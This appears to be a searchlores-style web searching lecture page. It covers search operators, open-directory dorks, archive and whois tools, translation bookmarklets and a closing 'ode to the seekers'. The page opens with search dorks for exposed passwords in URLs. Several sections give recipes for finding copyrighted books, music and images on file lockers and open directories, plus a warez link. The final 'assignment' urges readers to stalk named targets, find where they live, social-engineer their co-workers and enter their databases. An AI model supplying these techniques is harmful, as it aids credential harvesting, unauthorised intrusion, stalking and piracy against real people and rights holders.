We didin't guess at all :-\) We just searched  
  
  
  
A combing webbit  
Combing ~  Webbits | Top  
---|---  
  
http://www.google.com/search?&rls=en&q=%22password=rya%22&num=100  
\(you can also try password=riaa, fuckriaa, and so on, riaa is the "Recording
Industry Association of America", a bunch of patents enforcers\)  
http://www.google.com/search?&rls=en&q=%22password=tolkien%22&num=100  
  
Simple & elegant Webbit, for Combing, rather than for fishing pourposes...  
  
  
  
e-mail  
Anonymity for beginners| Top  
---|---  
  
You'll find more about "free" email in the ad hoc section of searchlores, the
most important thing is to NEVER give out real data on the web unless you are
really compelled to do so \(and even in that case there are many ways to avoid
it\).  
  
Always choose the first option, whatever it is, when you \(have to\) "choose"
some options from a menu \("Your income", "Your profession", Your "State" and
so on\): State=Afganistan, Income=less than 15 euro per year and so on... If
you want to play, there are some funny national options like "American Samoa"
"Fortune and Wallys Islands" and so on.  
The option "other" that you often find on these menus is also great, because
you will get the wannabye sniffers thinking hard about updating their long
palette of options, adding even more crap to their possible choices.  
  
Do not feel bad while feeding only lies to anyone asking for your data on
line: such people are just scum that will use EVERYTHING you tell them for
profit the very moment you do, and they don't even have the decency to admit
it. Screw them black and blue, such clowns deserve far worse than that: never
believe for a minute that their 'privacy - pleads' about how they will "never
use your data" could be anything else than cheap sarcasm.  
The very reason they did set up such "free" email addresses sites \(and such
"free" search engines and "free" file repositories\) is -of course- to READ
everything you write and to have a copy of everything you upload or create.  
Of course, klaro, no human being will ever read what you write, but their bots
and grepping algos will do it for the owners of the "free" email services \(or
of the "free" search engines\), presenting them nice tables built on your
private data as a result.  
This brings us to a very interesting contradiction: on one site "echelon" and
the total big broterish control, on the other "wardriving" and pretty good
anonymity... <img src='img/Temp2_10575.jpg' width='13' height='13' alt='red'
/>  
  
Examples of "one shot" email addresses...  
Mailinator http://www.mailinator.com/mailinator/Welcome.do  
Anothe example:  
http://www.pookmail.com/  
  
  
  
  
  
How to discover whois| Top  
---|---  
  
For instance using pookmail as an example: http://www.whois.sc/pookmail.com
\(scroll down for contact names and info\)  
  
A very powerful similar tool:  
http://www.domainsdb.net/  
  
  
  
  
  
How to discover IP-related sites| Top  
---|---  
  
  
Erom pointed this gem out some time ago:  
http://www.searchmee.com/web-info/ip-hunt.php  
it allows to see which websites are cohosted on the same ip. Really great for
hidden web private research, ahem ;\)  
  
A very powerful similar tool:  
http://www.domainsdb.net/  
  
  
  
Wikipedia: the power of good non commercial approaches | Top  
---|---  
  
 _Very useful for our in-depth "private investigations"_  
  
  
  
Useful autocompletion...  
Lumrix  
http://wiki.lumrix.net/en/  
Of course also in German and so on: http://wiki.lumrix.net/de/  
  
http://en.wikisource.org/wiki/Main\_Page Wikibooks  
  
How comes it works?  
A legitimate question would be "why wikipedia works?". Anybody and his cat can
write whatever he believes to be the truth. The arbitration committee kills
only the most obnoxious kooks and wanna-be experts, and leaves many
incompetent buffoons write whatever they want. The whole project is open to
trolls and with little defence against them. Yet it works perfectly, and this
annoys all the clowns that hate any free successfull project :-\)  
There are even various idiots and subhumans that PLANT false information in
wikipedia, on purpose, in order to accuse it immediately afterwards of
spreading false information. To no avail. Wikipedia works very well.  
So how comes it does work?  
It works BECAUSE it is an open, anarchistical, non commercial, collaborative
project: the power of the unwashed masses against the academical experts.  
  
Wikipedia is about as accurate on science as the Encyclopaedia Britannica: The
British journal Nature ran blind tests asking experts to compare scientific
entries from both publications.  
The reviewers were asked to check for errors, but were not told about the
source of the information.  
Only eight serious errors, such as misinterpretations of important concepts,
were detected in the pairs of articles reviewed, four from each encyclopaedia.  
Reviewers found 162 factual errors in the Wikipedia documents, compared to 123
in the Britannica documents.  
Nature also said that its reviewers found that Wikipedia entries were often
poorly structured and confused.  
  
Wikipedia's reliability is just a byproduct of the sheer SCALE of the project.
It is not due to a peer-controlling academic process \(with all its strenghts
and weaknesses\), but to the 'self-improving' nature of information that is
shared on the web. That's the reason why its reliability, already better than
many academic experts would be ready to admit, is IMPROVING. That's why
anybody that has some expertise in some specific field should contribute.
That's why I will do it myself as soon as I find the time :-\)  
Wikipedia is indeed "a brilliant product of open-source intellectual
collaboration". Even its enemies now have  _obtorto collo_ to admit it :-\)  
  
 _Caveat lector_ , of course, but this holds true for all "established"
encyclopaedias as well. Indeed much knowledge lies outside of academic study
and "experts" . However -again-  _caveat lector_ : any seeker would soon be
confused, inside or outside academia, without solid evaluation skills.  
  
  
  
A small digression about scientific articles  
| Top  
---|---  
  
"_The contradictions of journal searching_ "  
  
Now, let's imagine that for our in-depth "private investigations" we need a
given COMPLETE ARTICLE, not an abstract, a complete text, and we do not want
to pay anyone for that. Let's imagine we want something mathematic related, I
haven chosen as examples \["polynomial"\] and \["prime factorization"\]  
  
Most searchers would use the two most "common" search engines for MATHEMATIC-
RELATED articles of the visible web: http://www.emis.de/ZMATH/, which you can
use to start a search and http://www.ams.org/mathscinet/search which you
SHOULD NOT use, due to its commercial crappiness  
Let's search for "polynomial"  
Let's imagine we are interested in the third result: "The minimum period of
the Ehrhart quasi-polynomial of a rational polytope", alas\! Now we would be
supposed "to pay" in order to consult/see/download it.  
But we'r seekers, right?  
Let's use a part of the abstract in order to fetch our target  _in extenso_ :
" called the Ehrhart quasi-polynomial of"... see? Let's repeat this with any
other article on this database... <img src='img/Temp2_10575.jpg' width='13'
height='13' alt='red' />  
  
Of course we could also have used google scholar  
  
So, we have seen how to bypass commercial yokes using the previously explained
"long string searching" approach.  
  
The funny thing is that the web is so deep that we do not need at all to go
through such bazaars.  
  
In fact the "open source" waves are already purifying the closed world of the
scientific journals as well. Good riddance\!  
  
Let's search on The Front \(arxiv.org\), that is slowly beating the two
"established" euroamerican commercial repositories black and blue... for
instance: "prime factorization", but, to keep our previous example, also: "The
minimum period of the Ehrhart"... et voilà.  
On one side the Americans, who do not even let you search if you do not pay
up-front \(US-mathscinet\) & on the other one the Europeans, who let you
search, but then want you to pay in order to fetch your results \(EU-ZMATH\).
Of course we could still find our targets starting from there, but it is
refreshing to know that there is also -amazingly coexisting on the same web- a
complete 'journals' search engine, with a better \(& rapidly growing\)
database and everything you need for free: the Front \("It freed anyone from
the need to be in Princeton, Heidelberg or Paris in order to do frontier
research"\). So -once again- the web is BOTH a bottomless cornucopia and an
immense commercial garbage damp, and -of course- you need to know how to
search both sides of the same mirror.  
  
  
  
Books searching| Top  
---|---  
  
  
First of all, for your 'private investigations' a good start is the ISBN
finder that all major search engines provide:  
isbn 0596005458 at google  
isbn 0596005458 at yahoo  
  
All on-line repositories are quite useful for finding books:  
http://www.uploadscout.com/UploadScout/newindex.aspx: rapidshare & megaupload
index.  
You could input -for instance- digital photography on that search mask, but
you can as well search with  
rapidshare digital.photography: google  
rapidshare "digital photography": yahoo  
\{frsh=94\} \{mtch=69\} \{popl=33\} rapidshare "digitalphotography": msnsearch  
or whatever local/main search engine you may like...  
  
Well, I'm using "digital photography", or "photoshop" query examples just to
demonstrate that finding "photoshop-related" books is almost as easy as
writing them \(everyone and his dog is writing a photoshop book nowadays\).  
Yet maybe many of the friends in this room would prefer, instead of "digital
photography", this kind of books?  
  
Note, however, that the rapidshare search-examples above are JUST ONE EXAMPLE:  
Rapidshare is one of many "upload repositories" where people can \(and do with
gusto\) upload large files.  
It's quick, it allows unlimited downloads, and it has some free-happy-hours in
the morning. So you don't need, of course, to pay. But there are many similar
repositories:  
rapidshare.de/: 30 Mb max, forever but after 30 days unused the file is
removed, daily download limit of 3,000 MB for hosted files  
YouSendIt: 1 Giga max, after 7 days or 25 downloads \(whichever occurs first\)
the file is automatically removed  
mytempdir: 25 Mb max, 14 days \* 1200 free downloads, after that only from
23.00 to 7.00.  
Sendmefile: 30 Mb max, after 14 days the file is automatically removed  
Megaupload: 500 Mb max \(\!\), forever but after 30 days unused the file is
removed \(like rapidshare\)  
ultrashare.net/: 30 Mb max, forever but after 30 days unused the file is
removed \(like rapidshare\)  
http://www.spread-it.com/: 500Mb - Forever or after 14 days if unused  
http://turboupload.com/: 70Mb - download delay in order to show pub  
http://www.4shared.com/: 100Mb - 10Mb per file Forever or after 30 days if
unused  
  
and so on, a fairly complete list of many Files and images repositories is
here.  
  
Anyhow, there's a whole section regarding books searches \(and a fairly
complete library as well\) at searchlores, and, if interested in finding any
book whatsoever, you'll be able to find more pointers there.  
Suffice to say that most books mankind has written are already on the web
somewhere, and that while we are sitting here, hic et nunc, hundreds of fully
scanned librariesare going on line... if you are attentive enough, and if your
searching scripts are good, you can even hear the clincking "thud" of those
huge databases going on line... <img src='img/Temp2_10575.jpg' width='13'
height='13' alt='red' />  
  
In order to fetch books you just need some correct strings.  
  
A simple trick is to use the powerful A9 engine, for instance, for conan
doyle, http://a9.com/conan%20doyle?a=obooks and then fetch the study in
scarlet.  
Of course once we have some arrows, it is relatively easy to fetch whole
copies of a book all over the web...  
  
A simple trick is to use google's books' search facility. Let's search for
'The Hound of the Baskervilles':
http://books.google.com/books?q=doyle&btnG=Search+Books&hl=en: now let's chose
a phrase from page three \(more pages we cannot see because of the "patents'
dictatorship"\): "The probability lies in that direction": It's more than
enough: "The probability lies in that direction". q.e.d.  
  
Of course this is also true for all kind of patented books... let's see: "I
have no fitting gifts to give you at our parting,"...  
and we land here, for instance: 'I have no fitting gifts to give you at our
parting,' said Faramir; \`but take these staves... \(J.R.R. Tolkien: Two
Towers\)  
  
The more "popular" a target, the easier it is to find it: "some students were
standing up to get a better look at Harry as he sat, frozen, in his seat"
\(Harry Potter and the Goblet of Fire\)  
  
A msnsearch "index of" webbit: Nov-2005 intitle:"Index of /" \{frsh=9999\} ,
for isntance Nov-2005 intitle:"Index of /" \{frsh=9999\} "digital photography"  
  
A "classical" Bookish Webbit: -inurl:htm -inurl:html intitle:"index of"
+\("/ebooks"|"/book"\) +\(chm|pdf|zip\) +"o'reilly"  
  
  
  
IMAGES SEARCHING APPROACHES| Top  
---|---  
  
  
Target name guessing. Uhmmm. Is this a 'mature' and enough politically
uncorrect audience? Anyway we are speaking of 'private' investigations, aren't
we?  
  
Here is a better search than the \(still working\) playmates index.of that we
have seen at the beginning:  
1981-02.jpg playmates  
Of course you could try a different approach: Finally, a very nice trick to
avoid those "index of" spammers & clowns  
intitle:"index of/" "Apr-2004" "jpg" playboy note the "Apr-2004" snippet, that
you can change at leisure :-\)  
  
It's often useful to \(try to\) find images with some ad hoc target name
guessing. In this case, since we have one playmate every month, chances are
that there are date-related images' URLs.  
Note that you could just try 1983-03.jpg, without the specifying suffix
'playmates', or youy could change that suffix to 'playboy', or you could
repeat the search with 1983\_03.jpg \(note the underscore instead of the
hyphen\) and so on, or even try something likeplaymate6.jpg, in the
\(correct\) assumption, that where there are at least 6 jpgs, you'll have
more.  
  
Of course such searches do not need to be so frivolous or 'Pr0n' oriented:
monet8.jpg, and you'll land in Monet-heavy and images-rich sites.  
  
Here are some useful images' repositories \(à la 'rapidshare'\):  
http://www.fapomatic.com/, http://www.imghost.com/, http://www.glowfoto.com/,
http://www.imageshack.us/, http://www.imgspot.com/,http://www.mytempdir.com/,
http://www.bestupload.com/, http://www.netpix.org/, http://www.jotapeges.com/,
http://www.rapidshare.com/,http://www.filesupload.com/,
http://www.updownloadserver.de/, http://www.dropload.com/,
http://www.sendthisfile.com/,http://www.fireupload.com/,
http://www.yousendit.com/, http://www.youshareit.com/,
http://www.glintfiles.net/, http://www.paintedover.com/,http://www.2and2.com/,
http://www.imagehosting.com/, http://www.xs.com/, http://www.imagehigh.com/,
http://www.imagevenue.com/,http://www.shareitagain.com/,
http://www.ultrashare.net/, http://www.sendmefile.com/,
http://www.perushare.com/,
http://www.megaupload.com/,http://www.imageranch.com/,
http://www.photobucket.com/  
  
  
  
  
  
<>  
Music searching| Top  
---|---  
  
A completely new wave of music searching has opened up through the relatively
recent mp3 blogs phenomenon, but usually it is MUCH simpler to just fetch the
music you need from the web any time you need it.  
  
See the Combing webbit above.  
  
Your phantasy is the limit\!  
Simply adding for instance "4.6M" \(or whatever similar you may fancy\) to
your querystring will ensure that there are enough big and juicy MP3 in your
targets: imagine lennon mp3 OR ma4 OR ogg intitle:"Index of" -metallica
+"4.6M"  
  
Most simple trick:  
"index of" imagine m4a|wma  
  
Another one \(for music videos\):  
?intitle:index.of? "crazy frog" wmv "axel f"  
or  
?intitle:index.of? "madonna" wmv  
  
Another one \(for mp3 & co\):  
intitle:index.of + mp3 + "garfunkel" -html -htm -php -asp -txt -pls  
  
Another one:  
intitle:index.of + "mp3" + "band name" -htm -html -php -asp  
Or even this, found with the previous query, so big that it may crash our
browsers...  
http://24.91.184.80/jserver/files/music/  
  
or http://mensa.familia.rebello.nom.br/media/Som/MPG\_RA\_VQF/Mp3/,  
found through  
imagine lennon mp3 OR ma4 OR ogg intitle:"Index of" -metallica  
  
Some of the webbits we use for images work for music as well: intitle:"index
of/" "Apr-2004" "jpg" garfunkel  
  
However, all these tecniques are overkill. In fact the amazing thing is that
even the most stupid searches, those that should NOT work, will give results:  
madonna index.of mp3... q.e.d: wherever, whenever, whatever.  
  
Some Magic | Top  
---|---  
  
  
Here are, as promised, some "privated investigation related magic"...  
  
  
  
Finding photos BY CAMERA model  
  
http://photos.alexa.com/  
This is interesting because is part of the now public Alexa indexes:
http://websearch.alexa.com/welcome.html  

* * *
How to subdivide a query in manageable chunks \(by Various Authors\)  
  
  
Do any search engines or techniques exist to get more than -say- 1000 results
from a search engine?  
  
Usually you just refine your search.  
  
You can narrow your query in various ways:  
eliminating crap \(the infamous -tits example\)  
  
adding broader -but relevant- terms \("digital photography": 20.400.000,
+"shutter priority"= 190.000 +tiff"=40.500\)  
  
and with the results it is still good to jump first to -say page five or ten,
and then go backwards when evaluating the results :-\)  

* * *
If you have time, you can try things like these on Google \(the strategy for
other search engines is  _mutatis mutandis_ the same\):

  * blabla site:com inurl:www
  * blabla site:com -inurl:www
  * blabla -site:com inurl:www
  * blabla -site:com -inurl:www

With this kind of strategy you can divide your SERPs in more or less four
equal parts. If you use another common keyword or feature, you can double the
number of equal sets, for each new keyword...  

* * *
There is a more direct way to achieve what you are asking,with the
antipagination extension in firefox.  
https://addons.mozilla.org/extensions/moreinfo.php?id=853  
It flattens result pages \(even works in forum pages\)  
  
There is a userjs that works in opera too and does the same only for google's
result pages here:  
http://userscripts.org/scripts/show/1392  

* * *
Another trick:  
  
blabla -inurl:htm 1.680.000  
  
blabla -inurl:html 2.050.000  
  
the differences are noticeable after the first pumped results  
  
of course you can add and play with -/+ php or -/+ pdf or regional parameters
\(-/+fr -/+nl etcetera\)  
  
  

* * *
  
1\) Sourceror2 \(by Mordred & rai.jack\)  
try it right away  
Right click and, in opera, select "add link to bookmarks"  
  
javascript: z0x=document.createElement\('form'\);
f0z=document.documentElement; z0x.innerHTML = '<textarea rows=10 cols=80>' +
f0z.innerHTML + '</textarea><br>'; f0z.insertBefore\(z0x, f0z.firstChild\);
void\(0\);  
javascript:document.write\(document.documentElement.outerHTML.replace\(new
RegExp\("<","g"\), "<"\)\);  
  
2\) Another google approach  
http://www.google.com/complete/search?hl=en&js=tru%20e&qu=photography  
  
3\) Another google approach \(by Mordred\)  
Here is a way to gather relevant info about your target  
"index+of/" "rain.wav\*\*\*\*\*\*"  
Useful to see date and size that follow your target name...  
  
bookmarklets: Bookmarklets: Weapons for the seeker  
  
4\)Googe's advance operators: "aeroplane finder" and other crap  
Here is a google's easy implementation:  
from berlin to helsinki  
Clicking on the first link\) you have an automatic price comparison.  
  
On a similar path, there is the useful define: operator we have already seen,
and all the other advanced operators \(stocks and other crap\).  
  
A possibly useful one is the 'change' operator: 234 USD in euro, 234 euro in
CHF, 234 french money in GBP, currency of germany in malaysian money and so
on.  
  
Another useful possibility are the mathematical operators:  
twenty miles in kilometers  
45 Fahrenheit in celsius  
\(\(894151\*66771\)+456\)/1241: 48 109 070.8  
But here you should not use google, for mathematical calculations yahoo is
better: \(\(894151\*66771\)+456\)/1241=48,109,070.8114423826.  
  
  
5\) ElKilla bookmarklet \(by ritz\)  
try it right away \(no more clicking, press DEL to delete and ESC to cancel\)  
Right click and, in opera, select "add link to bookmarks"  
  
  
  
More about bookmarklets in the javascript bookmark tricks essay.  
  
http://fireddl.info/apps.htm: one of the many doors to the warez world  
  
  
  
SEARCHING FOR DISAPPEARED SITES| Top  
---|---  
  
http://webdev.archive.org/ ~ The 'Wayback' machine, explore the Net as it
was\!  
  
Visit The 'Wayback' machine at Alexa, or try your luck with the form below.  
  
  
Alternatively, learn how to navigate through \[Google's cache\]\!  
  
NETCRAFT SITE SEARCH| Top  
---|---  
  
\(http://www.netcraft.com/ ~ Explore 15,049,382 web sites\)  
  
VERY useful: you find a lot of sites based on their own  _name_ , which is
another possible way to get to your target...  

* * *
  
| **Search:**| search tips  
---|---  
site contains site starts with site ends with subdomain matches |   
**Example:** site contains \[searching\] \(a thousand sites eh\!\)  
  
  
  
  
Maps| Top  
---|---  
  
  
http://local.live.com/: pretty good ms concoction  
http://maps.google.com/: google starter  
http://maps.yahoo.com/: Yahoo \(limited to the states and kanuk\): for
instance: zip 56554  
  
Where people live| Top  
---|---  
  
This is useful for ALL Europe:  
http://www.nl.map24.com/ just input street, town and country :-\)  
The same in english: http://www.uk.map24.com/  
Check also the ad hoc stalking section peoplesearch  

* * *
  
  

[code]

    
    
    
    
    
    
    
    
[/code]

SLIDES| Top  
---|---  
  
Structure of the Web ~  WebStructure + Hidden Web ~  Main search engines'
coverage ~  Short and long term seeking: % ~  Short and long term seeking:
noise ~  

* * *
  
Structure of the web  
<img src='img/Temp2_10569.jpg' width='532' height='380' alt='Structure of the
web' />  
  

* * *
Short and long term seeking: percentages  
<img src='img/Temp2_10576.jpg' width='407' height='614' alt='Short and long
term seeking' />  
  
Main search engines' coverage| Top  
---|---  
  
  
Bulk, Hidden web and main search engines' coverage  
  
<img src='img/Temp2_10577.jpg' width='567' height='567' alt='search engines
coverage' />  
  
  
The structure of the Web, Hidden web visible| Top  
---|---  
  
  
<img src='img/Temp2_10571.jpg' width='600' height='380' alt='da structurz of
da webz' />  
  
Structure of the web. Explain tie model and diameter 19-21: do not dispair,
never...  
How big is the web? 24 billions? The s.e. cover between 1/3 and 1/4...  
  
  
  
Short term searching/Long term searching: noise| Top  
---|---  
  
  
  
  

* * *
Popularity versus time  
<img src='img/Temp2_10574.jpg' width='601' height='601' alt='popularity versus
time' />  
  
Both axes on a logarithmic scale  
  
1\) 5 minutes: Harry Potter, the Goblet of Fire ~ the Half-Blood Prince \(pdf
or doc\)  
2\) John Lennon "Imagine" \(mp3 or ma4\) \(using imagine lennon mp3 OR ma4 OR
ogg intitle:"Index of" -metallica and jumping direct to page 3\)  
3\) Lord of the rings trilogy \(pdf, html or audiobook\)  
4\) Nero Wolfe: The girl who cried wolf, audio \(or any other earlier
radioshow\)  
5\) an old Luis Vitton advertisement: \(they want us to pay, so let's enlarge
it manually
\(http://media3.adforum.com/zrIf58670C/E/EU/EURR\_01547/EURR\_01547\_0005730W.JPG...
you want
more?http://media3.adforum.com/zrIf58670C/E/EU/EURR\_01547/EURR\_01547\_0005730A.JPG  
6\) Several years: A Black and white Bulgarian film of the fifties, or even
from the late seventies, for instance ADVANTAGE Bulgaria 1978, 142 min. Dir.:
Georgi Dyulgerov  
  
  
  
  
  
What a search looks like  
\(Private investigations: The cranberry path\) | Top  
---|---  
  
  
"_Your nose is as red as that cranberry sauce," answered Fan, coming out of
the big chair where she had been curled up for an hour or two_ "  
  
Hey, what the heck is a cranberry?  
  
NON SPECIFIC LINKS/APPROACHES \(can be used for most targets, doesn't need to
be a cranberry :-\)  
  
google define: cranberry  
  
wikipedia cranberry  
  
yahoo education cranberry  
  
cranberry: The Columbia Encyclopedia, 6th Edition.  
  
Assorted links \(out of thin air\):  
cranberry institute \--> cranberryinstitute;  
cranberry magazine \--> cranberriesmagazine  
cranberry bibliography \--> Maine Uni bibliography  
  
Wisconsin Cranberry School Proceedings \(browse journals\)  
  
google images & yahoo images  
  
SPECIFIC LINKS/APPROACHES \(cranberry-related: should be used only for plants-
targets\)  
plants database  
  
  
  
Synecdochical searching| Top  
---|---  
  
  
A Synecdoche \("sin-EK-doh-kee"\) is the rhetorical or metaphorical
substitution of a part for the whole, or vice versa. This approach is widely
used in searching, because it allows you to get at your signal 'from the
bottom', eliminating part of the noise.  
  
For some specific examples see synecdoc.htm.  
Here let's just have "a visual look" at a search:  
  
The red cylinder below represents the TOTALITY of accessible web sites that
could be of interest to you -in the context of your current search. The small
rings shows four different specific clusters of interesting sites.  
Please remember that  _inside_ the cylinder the 'void' is only APPARENT\!
That's the part of the internet you cannot reach through the main search
engines. There are interesting sites there as well \(as a matter of fact MANY
more than on the 'accessible' outside\), but to grab them you'll have to use
more advanced techniques than commercial engines :-\)  
  
<img src='img/Temp2_10579.jpg' width='402' height='441' alt='latilongi' />  
**1** You land first time to an interesting cluster of sites trough your
'clean cut'  
**2** You have 'synecdochically' moved horizontally, modifying your original
clean-cut  
**3** These sites will be relatively easy to find, they are both on an
horizontal and on a vertical synecdoche. Note that the signal width of the
vertical synecdoches \(e.g. the yellow one on the right side of the image\)
may vary quite a lot, while horizontal synecdoches' width seems more costant.  
**4** You'll never find this cluster with your current synecdochical
approaches, you'll have to devise a COMPLETELY DIFFERENT cut.  
  
  
  
Regional searching  
The importance of languages and of online translation services and tools| Top  
---|---  
  
  
One of the main reasons why the main search engines together cover \(at best\)
just something less than 1/2 of the web is a LINGUISTIC one. The main search
engines are, in fact, "Englishcentric" if I may use this term, and in many
cases - which is even worse - are subject to a heavy "Americancentric bias".  
  
The web is truly international, to an extent that even those who did both
physically travel and virtually browse a lot tend to underestimate.  
Some of the pages you'll find may point to problems, ideals and aims so
'alien' from your point of view that -even if you knew their languages or if
they happen to be in English- you cannot even hope to understand them.  
On the other hand this multicultural and truly international cooperation may
bring some fresh air in a world of cloned Euro-American zombies who drink the
same coke with the same bottles, wear the same shirts, the same shoes \(and
the same pants\), and sit ritually in the same McDonalds in order to perform
their compulsory and quick "reverse shitting".  
  
But seekers need to understand this Babel if they want to add depth to their
queries.  
There are MANY linguistic aids out there on the web, and many systems that
allow you to translate a page, or a snippet of text from say, Spanish, into
English or viceversa. But much rarer, and much more useful for us, are sites
that allow us to understand -eve roughly- pages written in Japanese, Chinese,
Hindi, Russian, Korean, you name the funny alphabet :-\)  
  
As an example of how powerful such services can be in order to understand, for
example, a Japanese site, have a look at the following trick:  
  
RIKAI  
An incredible translator\!  
http://www.rikai.com/perl/Home.pl  
Try it for instance onto http://www.shirofan.com/ See? It "massages" WWW pages
and places "popup translations" from the EDICT database behind the Japanese
text\!  
  
for instance  
http://www.rikai.com/perl/LangMediator.En.pl?mediate\_uri=http%3A%2F%2Fwww.shirofan.com%2F  
See?  
You can use this tool to "guess" the meaning of many a Japanese page or -and
especially- Japanese search engine options, even if you do not know Japanese
:-\)  
You can easily understand how, in this way, you can -with the proper tools-
explore the wealth of results that the Japanese, Chinese, Korean, you name
them, search engines may \(and probably will\) give you.  
  
Let's search for "spanish search engines"... see?  
Let's now search for "buscadores hispanos"... see?  
  
A 'portable' translator  
| Top  
---|---  
  
Highlight the following text: Nous sommes en 50 avant Jésus-Christ. Toute la
Gaule est occupée par les Romains... Toute? Non\! Un village peuplé
d'irréductibles Gaulois résiste encore et toujours à l'envahisseur. Et la vie
n'est pas facile pour les garnisons de légionnaires romains des camps
retranchés de Babaorum, Aquarium, Laudanum et Petitbonum...  
click here: translate,  

[code]

    javascript:
    params = '?langpair=fr|en';
    if (document.getSelection) {
      txt = document.getSelection();
    }
    else
      if (document.selection) {
        txt = document.selection.createRange().text;
      }
    if(txt)
      params+="&text="+encodeURIComponent(txt);
    void(window.open('http://translate.google.com/translate_t'+params, /keep on 1 line/
    'translate','location=no,status=yes,menubar=no,scrollbars=yes,     /keep on 1 line/
    resizable=yes,width=547,height=442'))                              /keep on 1 line/
    
    
[/code]

Ok, simple and quick \(and rough\) javascript. French into English was easy,
of course. But -again- note inside the code the params = '?langpair=fr|en';
snippet, that you can change to anything\! For instance to Korean in order to
translate or to browse starting from the following:
http://www.japanpr.com/shimane/shimane\_default.htm  
  
click here: Translate the page ko|en,  
  
  
  
  
  
POSSIBLE PATHS| Top  
---|---  
  
  
I would also like to draw your attention to the paramount importance of names
on the web... <img src='img/Temp2_10575.jpg' width='13' height='13' alt='red'
/>  
The ethical aspect... <img src='img/Temp2_10575.jpg' width='13' height='13'
alt='red' />  
An unfair society... <img src='img/Temp2_10575.jpg' width='13' height='13'
alt='red' />  
websearch importance nowadays recognized and obvious, you'll see tomorrow
:-\)... <img src='img/Temp2_10575.jpg' width='13' height='13' alt='red' />  
libraries and documents: frills and substance... <img
src='img/Temp2_10575.jpg' width='13' height='13' alt='red' />  
the guardian of the light tower, the young kid in Central Africa and the
yuppie in New York... <img src='img/Temp2_10575.jpg' width='13' height='13'
alt='red' />  
  
  
  
CONCLUSIONS| Top  
---|---  
  
Ode to the seekers  
  
Like a skilled native, the able seeker has become part of the web. He knows
the smell of his forest: the foul-smelling mud of the popups, the slime of a
rotting commercial javascript. He knows the sounds of the web: the gentle
rustling of the jpgs, the cries of the brightly colored mp3s that chase one
another among the trees, singing as they go; the dark snuffling of the m4as,
the mechanical, monotone clincking of the huge, blind databases, the pathetic
cry of the common user: a plaintive cooing that slides from one useless page
down to the next until it dies away in a sad, little moan. In fact, to all
those who do not understand it, today's Internet looks more and more like a
closed, hostile and terribly boring commercial world.  
Yet if you stop and hear attentively, you may be able to hear the seekers,
deep into the shadows, singing a lusty chorus of praise to this wonderful
world of theirs -- a world that gives them everything they want.  
The web is the habitat of the seeker, and in return for his knowledge and
skill it satisfies all his needs.  
  
The seeker does not even need any more to hoard on his hard disks whatever he
has found: all the various images, musics, films, books and whatsnot that he
fetches from the web... he can just taste and leave there what he finds,
without even copying it, because he knows that nothing can disappear any more:
once anything lands on the web, it will always be there, available for the
eternity to all those that possess its secret name...  
  
The web-quicksand moves all the time, yet nothing can sink.  
  
In order to fetch all kinds of delicious fruits, the seeker just needs to
raise his sharp searchstrings.  
  
In perfect armony with the sourronding internet forest, he can fetch again and
again, at will, any target he fancies, wherever it may have been "hidden". The
seeker moves unseen among sites and backbones, using his anonymity skills, his
powerful proxomitron shield and his mighty HOST file.  
If need be, he can quickly hide among the zombies, mimicking their behaviour
and thus disappearing into the mass.  
  
Moving silently along the cornucopial forest of his web, picking his fruits
and digging his juwels, the seeker avoids easily the many vicious traps that
have been set to catch all the furry, sad little animals that happily use MSIE
\(and outlook\), that use only one-word google "searches", and that browse and
chat around all the time without proxies, bouncing against trackers and web-
bugs and smearing all their personal data around.  
  
Moreover the seeker is armed: his sharp browser will quickly cut to pieces any
slimy javascript or rotting advertisement that the commercial beasts may have
put on his way. His bots' jaws will tear apart any database defense, his
powerful scripts will send perfectly balanced searchstrings far into the
forest.  
  

* * *
  
So, that was it. Any questions?  
  
  
  
  
  
ASSIGNEMENTS| Top  
---|---  
  
Your own private investigations  
  
The power of searching at your fingertips, what are you waiting for?  
Start your own private investigations\! Here two rather naïve examples.  
  
1\) Inflation  
Don't you have the impression that the real inflation we have all to endure
\(with more and more expensive everyday prices\) is  _waaay more_ than that
ludicrous 2,1% \(circa\) that our powers that be claim year after year?  
Well, there are a series of newspapers with their COMPLETE ARCHIVES on the
web, searchable, for free.  
Supermarket chains, Aldi, Carrefour, you name it, have also published on the
web their "fabolous" offers and prices.  
Or try this: http://www.google.com/catalogs :-\)  
You'll be able to find the older pages, as we have seen, using webarchive or
similar web-snapshots repositories.  
  
Assignement: Find the real inflation using all available data.  
  
Some simple suggestions:  
Use an average of price components that is weighted and categorized in
approximately the same manner as the official Consumer Price Index.  
Housing should represent the largest component at 40% with other categories
having lesser impact.  
The inflation rate should be calculated as a price multiplier with a base year
of 1995, to represent the number of "1st January 2006" euro that are required
to purchase what the equivalent of one "1st January 2006" EUR bought in 1995.  
The annualized inflation rate is the equivalent average compounded yearly
inflation rate over the 10 year period.  
Take account of education and medical care costs, also easy to find and check
on the web \(some combing and social engineering will go a long way in order
to find them\).  
Create two subgroups: 1995-1999, 2000-2005  
If you do it, you will soon realize that -while the euro itself has nothing to
do with it- the high inflation trend \(around 6~8% real,  _not_ 2,1%\) has
been a \(quite interesting\) constant.  
  
Purchasing power and living standards been steadily reduced, in Europe and
elsewhere, through a higher than admitted real inflation, which translates of
course into an automatic salary decrease for the great majority, bar
speculators.  
This has been coupled with a prolonged \(by law\) "active life" \(read shorter
pension\), and longer working hours \(and working days\) without any salary
compensation whatsoever for the unwashed masses.  
  
2\) Punishing greedy and corrupt ones  
  
D'you have in your town a station being built, a new industrial area being
planned, any building permits being granted, any committee for the management
of public housing?  
  
You can bet that -in 99% of cases- someone is using law-loopholes and/or a net
of political protection in order to make money illegally.  
But you now have the power of the seeker\! Don't underestimate it.  
You can explore all newspapers' databases, you can easily find related news,
you can seek in many languages...  
  
In a more and more Internet-oriented society a seeker can find out quite a lot
about his targets.  
You can stalk people, lure and/or troll info out of them or about them, find
out where they live, how much they earn, when, where and how they started to
work \(political appointment? Public competition? Father's connections?\)  
You can, with simple social engineering tricks, get in touch with their co-
workers, enter their databases, have a look at the code of their doc format
documents, where word, often enough and per default, keeps all the corrections
and changes which have been made to a document...  
  
Your 'private investigations' may be small crumbs, but even small crumbs may
grind the well-greased wheels of your own local political/commercial vermine\!

[code]

    
    
    
    
    
    
    
    
    
    
[/code]

* * *
<img src='img/Temp2_10568.jpg' width='118' height='68' alt='Petit image 2124
bytes' />| <img src='img/Temp2_10572.jpg' width='118' height='68' alt='Petit
image' />| <img src='img/Temp2_10578.jpg' width='118' height='68' alt='Petit
image' />| <img src='img/Temp2_10573.jpg' width='118' height='68' alt='Petit
image' />| <img src='img/Temp2_10580.jpg' width='118' height='68' alt='Back to
allinone' />  
